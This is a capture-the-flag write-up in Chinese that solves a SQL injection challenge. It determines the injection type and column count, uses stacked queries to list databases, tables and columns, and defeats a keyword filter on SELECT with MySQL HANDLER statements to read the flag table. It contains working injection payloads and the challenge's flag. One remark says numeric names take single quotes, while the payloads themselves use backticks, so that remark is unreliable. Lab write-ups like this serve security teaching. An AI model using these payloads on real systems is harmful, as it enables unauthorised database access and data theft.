一个SQL注入题
先判断是字符型还是数字型注入
字符型注入:需要闭合前面的引号,通常使用 ' 或 ",如 1'--+
数字型注入:不需要额外的引号闭合,直接添加条件即可
'1 and 1=1'
无报错

1 and 1=2
无报错
初步确定为字符型
and 1=1(恒真条件):如果页面正常返回,说明SQL语句被执行了and 1=2(恒假条件):如果页面显示异常、空白或提示"无结果",表明应用程序对SQL结果有判断

1'--+
无报错
确定为字符型
对于字符型注入:
- 如果直接使用
1 and 1=1而不闭合引号,可能两种情况都报错- 需要先闭合引号(如
1' and 1=1--+)才能看到正确反应

查询字段数
1' order by 3--+
报错了

1' order by 2--+
无报错
说明有两个字段

尝试联合查询(union)
显示select,update,delete,drop,insert,where,被正则过滤了

尝试堆叠查询
堆叠注入(Stacked Queries)指通过分号(;)连接多个SQL语句,使数据库依次执行的技术。其成功依赖于应用程序使用的数据库API是否支持多语句执行(如PHP的mysqli_multi_query()而非mysqli_query())。
- 使用分号(;)作为语句分隔符
1';show databases--+
无报错
找到了5个数据库

根据题目提示,我们选择supersqli库
1';use supersqli;show tables--+
找到2个表

查找1919810931114514字段内容
?inject=1';use supersqli;show columns from `1919810931114514`--+
找到flag字段
数据库中查询以数字命名的字段或表要用单引号包裹起来

对于select的过滤
我们可以用handler查询来代替select查询
1';use supersqli;handler `1919810931114514` open as p;handler p read first--+
handler `1919810931114514` open as p; -- 以"句柄"方式打开表 `1919810931114514`,ps
handler p read first; -- 读取该表的首行数据

找到flag
flag{c168d583ed0d4d7196967b28cbd0b5e9}